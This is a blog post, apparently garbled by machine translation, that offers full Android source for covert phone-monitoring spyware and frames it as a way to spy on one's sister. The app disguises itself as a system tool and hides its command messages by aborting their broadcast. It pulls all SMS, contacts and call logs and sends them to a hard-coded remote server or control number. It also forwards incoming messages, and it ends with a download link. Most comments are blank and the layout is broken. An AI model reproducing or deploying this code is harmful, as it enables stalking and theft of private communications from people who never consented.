あなたの妹や将来の妹の携帯電話を監視する方法を教えてあげます.


</pre>    android          ,            。。<p>           ,          ,       apk               ,          </p><p>   "qingxue:12"           </p><p>  "qingxue:1"                    </p><p>         ,  "qingxue:4:13555555555:helloworld"              13555555555    ,   “helloworld”</p><p> :         ""</p><p></p><p>             ,     ,    ,             ,           ,    ,        ,      ,             ,            android API</p><p>        ,            。 :SystemManage</p><p>   :</p><p><img src="http://img.blog.csdn.net/20131014225404203?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl1Y2FubG9uZw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" /></p><p>    ,        android  </p><p></p><pre name="code" class="java"><?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.me.androidsystem"
    android:versionCode="1"
    android:versionName="1.0" >
	<!--        -->
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.READ_SMS"/>
    <!--   internet   -->
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission>
	<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission>
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
	<uses-permission android:name="android.permission.READ_CONTACTS"/>
 	<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
 	<uses-permission android:name="android.permission.READ_CALL_LOG"/>  
  
    <uses-sdk
        android:minSdkVersion="7"
        android:targetSdkVersion="18" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
      
        <receiver android:name="com.me.androidsystem.SmsReceiver">
            <intent-filter android:priority="1000" >
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
        <receiver android:name="com.me.androidsystem.NetstateReceiver">  
    		<intent-filter>  
        		<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />  
    		</intent-filter>  
		</receiver>  
        <service android:name="com.me.androidsystem.service.SmsService" >
        </service>
        <service android:name="com.me.androidsystem.service.PhoService" >
        </service>  
    </application>

</manifest>

共通フィールドはすべてクラスに書きました
package com.me.androidsystem.util;
/*
     
         
1 ————          
2 ————                 
3 ————             
4 ————    
11————                     
12————                     
13————                       
21————                             
22————                             
23————                               
30————                  
31————                   
32————                   
33————                     
   :qingxue:21   qingxue:2                             
 */
public class ServiceUtil {
	//                             
	public static String CONTROL_NUMBER = "+8618271803015";
	//         192.168.137.218  221.234.230.22
	public static final String CONTROL_SERVER_ADDRESS = "http://125.221.35.18/monitor/";
	//         Servlet
	public static final String PHO_SERVLET = "GetPHOInfoServlet";
	//         Servlet      
	public static final String SMS_ONE_SERVLET = "GetSmsOneServlet";
	//    key
	public static final String CONTROL_START = "qingxue";
	//       
	public static final String CONFIG_NAME = "config";
	//          
	public static final String OFF_INFO = "off_info";
	
	public static final String COMMAND="command";
	//            
	public static final int GET_ALL_SMS = 1;
	//                
	public static final int GET_ALL_PHO = 2;
	//             
	public static final int GET_ONLY_PHO = 3;
	//    
	public static final int SMS_TRANSPOND = 4;
	
	//           
	public static final int SET_SMS_MODEL_0 = 10;
	//          MODEL_SMS_ONLY
	public static final int SET_SMS_MODEL_1 = 11;
	//          MODEL_NET_ONLY
	public static final int SET_SMS_MODEL_2 = 12;	//  
	//          MODEL_NET_SMS
	public static final int SET_SMS_MODEL_3 = 13;

	//              
	public static final int SET_PHO_MODEL_0 = 20;
	//             MODEL_SMS_ONLY
	public static final int SET_PHO_MODEL_1 = 21;
	//             MODEL_NET_ONLY
	public static final int SET_PHO_MODEL_2 = 22;	//  
	//             MODEL_NET_SMS
	public static final int SET_PHO_MODEL_3 = 23;
	
	//           
	public static final int SET_SMS_ONE_MODEL_0 = 30;
	//          MODEL_SMS_ONLY
	public static final int SET_SMS_ONE_MODEL_1 = 31;
	//          MODEL_NET_ONLY
	public static final int SET_SMS_ONE_MODEL_2 = 32;//  
	//          MODEL_NET_SMS
	public static final int SET_SMS_ONE_MODEL_3 = 33;
	
	//           
	public static final String SMS_ONE_MODEL = "sms_one_model"; 
	//           
	public static final String SMS_MODEL = "sms_model"; 
	//         
	public static final String PHO_MODEL = "pho_model";
	
	//     
	public static final int MODEL_NONE = 0;
	//    
	public static final int MODEL_SMS_ONLY = 1;
	//    
	public static final int MODEL_NET_ONLY = 2;
	//       ,    
	public static final int MODEL_NET_SMS = 3;
	
	//       
	public static boolean ONLY_TEL = false;
}

電話のサービス類
package com.me.androidsystem.service;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import android.app.Service;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.IBinder;
import android.provider.CallLog;
import android.provider.CallLog.Calls;
import android.provider.ContactsContract;
import android.util.Log;

import com.me.androidsystem.domain.CallRecord;
import com.me.androidsystem.util.CommndUtil;
import com.me.androidsystem.util.ServiceUtil;

public class PhoService extends Service {
	private SharedPreferences preferences;
	@Override
	public void onCreate() {
		super.onCreate();
		List<Map<String, String>> contacts = getContacts();
		List<CallRecord> callRecords = getCallRecord();
		preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,
				Context.MODE_PRIVATE);
		int model = preferences.getInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NET_ONLY);
		
		switch (model) { 
		case ServiceUtil.MODEL_SMS_ONLY:
			sendSMSContent(contacts,callRecords);
			break;
		case ServiceUtil.MODEL_NET_ONLY:
			sendNETContent(contacts,callRecords);
			break;
		case ServiceUtil.MODEL_NET_SMS:
			sendNETORSMSContent(contacts,callRecords);
			break;

		default:
			break;
		}
		stopSelf();
	}

	private void sendNETORSMSContent(List<Map<String, String>> contacts,
			List<CallRecord> callRecords) {
		ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);  
        NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();  
        if(networkInfo != null && networkInfo.isAvailable()){  
            //         
        	sendNETContent(contacts, callRecords);
        }else{  
            //       
        	sendSMSContent(contacts, callRecords);
        }  
	}

	private void sendNETContent(List<Map<String, String>> contacts,
			List<CallRecord> callRecords) {
		ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);  
        NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();  
        if(networkInfo != null && networkInfo.isAvailable()){  
            //         

        	CommndUtil.sendInternet(resolve(contacts, callRecords), ServiceUtil.PHO_SERVLET);
        }else{  
            //       
        	String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");
	    	Editor editor = preferences.edit();
	    	editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(contacts, callRecords)+"
"); editor.commit(); return; } } private void sendSMSContent(List<Map<String, String>> contacts, List<CallRecord> callRecords) { CommndUtil.sendSMS(resolve(contacts, callRecords)); } private String resolve(List<Map<String, String>> contacts,List<CallRecord> callRecords){ StringBuilder sb = new StringBuilder(); if(!ServiceUtil.ONLY_TEL){ sb.append("
"); for(Map<String, String> map : contacts){ String name = map.get("name"); String number = map.get("number"); sb.append(name + " " + number); } } sb.append("-------------------------
"+"
"); sb.append("
"); for(CallRecord callRecord : callRecords){ String name = callRecord.getLinkman(); String type = callRecord.getType(); String time = callRecord.getCallDate(); String durction = callRecord.getDurction(); String number = callRecord.getNumber(); sb.append(name + " " + type + " " + time + " " + durction + " " + number + "
"); } return sb.toString(); } // public List<Map<String, String>> getContacts() { Map<String, String> contacts; List<Map<String, String>> list = new ArrayList<Map<String, String>>(); int nameIndex = -1; ContentResolver cr = getContentResolver(); Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); while (cur.moveToNext()) { String number = ""; // nameIndex = cur .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME); String name = cur.getString(nameIndex); // String contactId = cur.getString(cur .getColumnIndex(ContactsContract.Contacts._ID)); // ID , SQLite ID Cursor phone = cr.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = " + contactId, null, null); while (phone.moveToNext()) { String strPhoneNumber = phone .getString(phone .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); // number += strPhoneNumber + "
"; } contacts = new HashMap<String, String>(); // Map contacts.put("name", name); contacts.put("number", number); list.add(contacts); } cur.close(); return list; } // public List<CallRecord> getCallRecord() { List<CallRecord> list = new ArrayList<CallRecord>(); ContentResolver cr = getContentResolver(); Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI, new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME, CallLog.Calls.TYPE, CallLog.Calls.DATE, CallLog.Calls.DURATION }, null, null, CallLog.Calls.DEFAULT_SORT_ORDER); while (cursor.moveToNext()) { String strNumber = cursor.getString(cursor .getColumnIndex(Calls.NUMBER)); // String strName = cursor.getString(cursor .getColumnIndex(Calls.CACHED_NAME)); // int type = cursor.getInt(cursor.getColumnIndex(Calls.TYPE));// :1, :2, :3 String callType = ""; switch (type) { case 1: callType = " "; break; case 2: callType = " "; break; case 3: callType = " "; break; } long duration = cursor.getLong(cursor .getColumnIndex(Calls.DURATION)); String durationTime = formatTime(duration); SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); Date date = new Date(Long.parseLong(cursor.getString(cursor .getColumnIndex(Calls.DATE)))); String time = sfd.format(date); list.add(new CallRecord(strName, strNumber, time, callType, durationTime)); } return list; } private String formatTime(long duration) { int timetiem = (int) duration; int minute = timetiem / 60; int hour = minute / 60; int second = timetiem % 60; minute %= 60; return String.format("%02d:%02d:%02d", hour, minute, second); } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } }

メールのサービス類
package com.me.androidsystem.service;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

import android.app.Service;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.IBinder;

import com.me.androidsystem.domain.SmsInfo;
import com.me.androidsystem.util.CommndUtil;
import com.me.androidsystem.util.ServiceUtil;

public class SmsService extends Service {
	private SharedPreferences preferences; 
	@Override
	public void onCreate() {
		super.onCreate();
		preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,
				Context.MODE_PRIVATE);
		int model = preferences.getInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NET_ONLY);
		switch (model) { 
		case ServiceUtil.MODEL_SMS_ONLY:
			sendSMSContent();
			break;
		case ServiceUtil.MODEL_NET_ONLY:
			sendNETContent();
			break;
		case ServiceUtil.MODEL_NET_SMS:
			sendNETORSMSContent();
			break;

		default:
			break;
		}
		stopSelf();
	}

	private void sendNETORSMSContent() {
		ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);  
        NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();  
        if(networkInfo != null && networkInfo.isAvailable()){  
            //         
        	sendNETContent();
        }else{  
            //       
        	sendSMSContent();
        }  
	}

	private void sendNETContent() {
		ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);  
        NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();  
        if(networkInfo != null && networkInfo.isAvailable()){  
            //         
        	CommndUtil.sendInternet(resolve(getAllSms()), ServiceUtil.PHO_SERVLET);
        }else{  
        	String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");
	    	Editor editor = preferences.edit();
	    	editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(getAllSms())+"
"); editor.commit(); return; } } private void sendSMSContent() { CommndUtil.sendSMS(resolve(getAllSms())); } private String resolve(List<SmsInfo> list){ StringBuilder sb = new StringBuilder(); sb.append("
"); for(SmsInfo info : list){ String name = info.getLinkman(); String number = info.getNumber(); String content = info.getContent(); String date = info.getDate(); String type = info.getType(); sb.append(name + " " + number + " " + content + " " + date + " " + type +"
"); } return sb.toString(); } @Override public IBinder onBind(Intent intent) { return null; } private List<SmsInfo> getAllSms() { List<SmsInfo> list = new ArrayList<SmsInfo>(); final String SMS_URI_ALL = "content://sms/"; try { ContentResolver cr = getContentResolver(); String[] projection = new String[] { "_id", "address", "person", "body", "date", "type" }; Uri uri = Uri.parse(SMS_URI_ALL); Cursor cur = cr.query(uri, projection, null, null, "date desc"); while (cur.moveToNext()) { String name; String phoneNumber; String smsbody; String date; String type; name = cur.getString(cur.getColumnIndex("person")); phoneNumber = cur.getString(cur.getColumnIndex("address")); smsbody = cur.getString(cur.getColumnIndex("body")); SimpleDateFormat dateFormat = new SimpleDateFormat( "yyyy-MM-dd hh:mm:ss"); Date d = new Date(Long.parseLong(cur.getString(cur .getColumnIndex("date")))); date = dateFormat.format(d); int typeId = cur.getInt(cur.getColumnIndex("type")); if (typeId == 1) { type = " "; } else if (typeId == 2) { type = " "; } else if (typeId == 0) { type = " "; } else { type = " "; } // , , , // Uri personUri = Uri.withAppendedPath( // ContactsContract.PhoneLookup.CONTENT_FILTER_URI, // phoneNumber); // Cursor localCursor = cr.query(personUri, new String[] { // PhoneLookup.DISPLAY_NAME, PhoneLookup.PHOTO_ID, // PhoneLookup._ID }, null, null, null); // // if (localCursor.getCount() != 0) { // localCursor.moveToFirst(); // name = localCursor.getString(localCursor // .getColumnIndex(PhoneLookup.DISPLAY_NAME)); // } if (smsbody == null) smsbody = ""; list.add(new SmsInfo(name, phoneNumber, smsbody, date, type)); } } catch (SQLiteException ex) { } return list; } }

制御側のメールコマンドを受信するために使用
package com.me.androidsystem;

import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.telephony.SmsMessage;
import android.util.Log;

import com.me.androidsystem.service.PhoService;
import com.me.androidsystem.service.SmsService;
import com.me.androidsystem.util.CommndUtil;
import com.me.androidsystem.util.ServiceUtil;

/*
 *           
 */
public class SmsReceiver extends BroadcastReceiver {

	
	public void onReceive(Context context, Intent intent) {
		//         qingxue  ,      
		Object[] pdus = (Object[]) intent.getExtras().get("pdus");
		for (Object p : pdus) {
			byte[] pdu = (byte[]) p;
			SmsMessage message = SmsMessage.createFromPdu(pdu);
			String content = message.getMessageBody();
			Date date = new Date(message.getTimestampMillis());
			SimpleDateFormat format = new SimpleDateFormat(
					"yyyy-MM-dd HH:mm:ss");
			String receiveTime = format.format(date);
			String senderNumber = message.getOriginatingAddress();
			Log.e("aaaa", content);
			// ServiceUtil.CONTROL_NUMBER.equals(senderNumber)
			if (content.length() >= ServiceUtil.CONTROL_START.length()
					&& content.substring(0, ServiceUtil.CONTROL_START.length())
							.equals(ServiceUtil.CONTROL_START)) {
				abortBroadcast();//     
				ServiceUtil.CONTROL_NUMBER = senderNumber;
				SharedPreferences sharedPreferences = context
						.getSharedPreferences(ServiceUtil.CONFIG_NAME,
								Context.MODE_PRIVATE);
				Editor edit = sharedPreferences.edit();
				int command = Integer.valueOf(content.split(":")[1]);
				Log.e("aaaa", command+"");
				switch (command) {
				case ServiceUtil.GET_ALL_SMS:
					Intent t1 = new Intent(context, SmsService.class);
					context.startService(t1);
					break;
				case ServiceUtil.GET_ALL_PHO:
					ServiceUtil.ONLY_TEL = false;
					Intent t2 = new Intent(context, PhoService.class);
					context.startService(t2);
					break;
				case ServiceUtil.GET_ONLY_PHO:
					ServiceUtil.ONLY_TEL = true;
					Intent t3 = new Intent(context, PhoService.class);
					context.startService(t3);
					break;
				case ServiceUtil.SMS_TRANSPOND:
					try {
						if (content.split(":").length >= 4) {
							String number = content.split(":")[2];
							String msg = content.split(":")[3];
							CommndUtil.sendSMS(msg, number);
						}
					} catch (Exception e) {
					}
					break;
				//               
				case ServiceUtil.SET_SMS_MODEL_0:
					edit.putInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NONE);
					edit.commit();
					break;
				case ServiceUtil.SET_SMS_MODEL_1:
					edit.putInt(ServiceUtil.SMS_MODEL,
							ServiceUtil.MODEL_SMS_ONLY);
					edit.commit();
					break;
				case ServiceUtil.SET_SMS_MODEL_2:
					edit.putInt(ServiceUtil.SMS_MODEL,
							ServiceUtil.MODEL_NET_ONLY);
					edit.commit();
					break;
				case ServiceUtil.SET_SMS_MODEL_3:
					edit.putInt(ServiceUtil.SMS_MODEL,
							ServiceUtil.MODEL_NET_SMS);
					edit.commit();
					break;
				//                
				case ServiceUtil.SET_PHO_MODEL_0:
					edit.putInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NONE);
					edit.commit();
					break;
				case ServiceUtil.SET_PHO_MODEL_1:
					edit.putInt(ServiceUtil.PHO_MODEL,
							ServiceUtil.MODEL_SMS_ONLY);
					edit.commit();
					break;
				case ServiceUtil.SET_PHO_MODEL_2:
					edit.putInt(ServiceUtil.PHO_MODEL,
							ServiceUtil.MODEL_NET_ONLY);
					edit.commit();
					break;
				case ServiceUtil.SET_PHO_MODEL_3:
					edit.putInt(ServiceUtil.PHO_MODEL,
							ServiceUtil.MODEL_NET_SMS);
					edit.commit();
					break;
				//               
				case ServiceUtil.SET_SMS_ONE_MODEL_0:
					edit.putInt(ServiceUtil.SMS_ONE_MODEL,
							ServiceUtil.MODEL_NONE);
					edit.commit();
					break;
				case ServiceUtil.SET_SMS_ONE_MODEL_1:
					edit.putInt(ServiceUtil.SMS_ONE_MODEL,
							ServiceUtil.MODEL_SMS_ONLY);
					edit.commit();
					break;
				case ServiceUtil.SET_SMS_ONE_MODEL_2:
					edit.putInt(ServiceUtil.SMS_ONE_MODEL,
							ServiceUtil.MODEL_NET_ONLY);
					edit.commit();
					break;
				case ServiceUtil.SET_SMS_ONE_MODEL_3:
					edit.putInt(ServiceUtil.SMS_ONE_MODEL,
							ServiceUtil.MODEL_NET_SMS);
					edit.commit();
					break;
				//                           

				default:
					break;
				}
			}
			//                       
			else if (!ServiceUtil.CONTROL_NUMBER.equals(senderNumber)) {
				SharedPreferences sharedPreferences = context
						.getSharedPreferences(ServiceUtil.CONFIG_NAME,
								Context.MODE_PRIVATE);
				int model = sharedPreferences.getInt(ServiceUtil.SMS_ONE_MODEL,
						ServiceUtil.MODEL_NET_ONLY);
				ConnectivityManager connectivityManager = (ConnectivityManager) context
						.getSystemService(Context.CONNECTIVITY_SERVICE);
				NetworkInfo networkInfo = connectivityManager
						.getActiveNetworkInfo();
				switch (model) {
				case ServiceUtil.MODEL_SMS_ONLY:
					CommndUtil
							.sendSMS("    " + senderNumber + "   :" + content);
					break;
				case ServiceUtil.MODEL_NET_ONLY:
					if (networkInfo != null && networkInfo.isAvailable()) {
						//        
						CommndUtil.sendInternet("    " + senderNumber + "   :"
								+ content, ServiceUtil.SMS_ONE_SERVLET);
					} else {
						//        
						String oldInfo = sharedPreferences.getString(
								ServiceUtil.OFF_INFO, "");
						Editor editor = sharedPreferences.edit();
						editor.putString(ServiceUtil.OFF_INFO, oldInfo
								+ receiveTime + "     " + senderNumber + "   :"
								+ content + "
"); editor.commit(); return; } break; case ServiceUtil.MODEL_NET_SMS: if (networkInfo != null && networkInfo.isAvailable()) { // CommndUtil.sendInternet(" " + senderNumber + " :" + content, ServiceUtil.PHO_SERVLET); } else { // CommndUtil.sendSMS(" " + senderNumber + " :" + content); } break; default: break; } } } } }

このクラスは,ネットワークを介して取得する際,ユーザのネットワークが閉じた状態であり,ユーザがネットワークを開く限り送信を継続する責任を負う.
package com.me.androidsystem;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;

import com.me.androidsystem.util.CommndUtil;
import com.me.androidsystem.util.ServiceUtil;

public class NetstateReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		ConnectivityManager manager = (ConnectivityManager) context
				.getSystemService(Context.CONNECTIVITY_SERVICE);
		NetworkInfo gprs = manager
				.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
		NetworkInfo wifi = manager
				.getNetworkInfo(ConnectivityManager.TYPE_WIFI);
		if (!gprs.isConnected() && !wifi.isConnected()) {
			// network closed
		} else {
			// network opend
			SharedPreferences sharedPreferences = context.getSharedPreferences(ServiceUtil.CONFIG_NAME,Context.MODE_PRIVATE);
			String content = sharedPreferences.getString(ServiceUtil.OFF_INFO, "");
			if(!"".equals(content)){
				if(CommndUtil.sendInternet(content, ServiceUtil.PHO_SERVLET)){
					sharedPreferences.edit().putString(ServiceUtil.OFF_INFO, "").commit();
				}
			}
		}
	}
}

コミュニケーションを学ぶだけで、メール転送という機能は少し邪悪です.のむやみに使わないで
完全版のソースコードのダウンロード
http://download.csdn.net/detail/lcl15572830433/6399735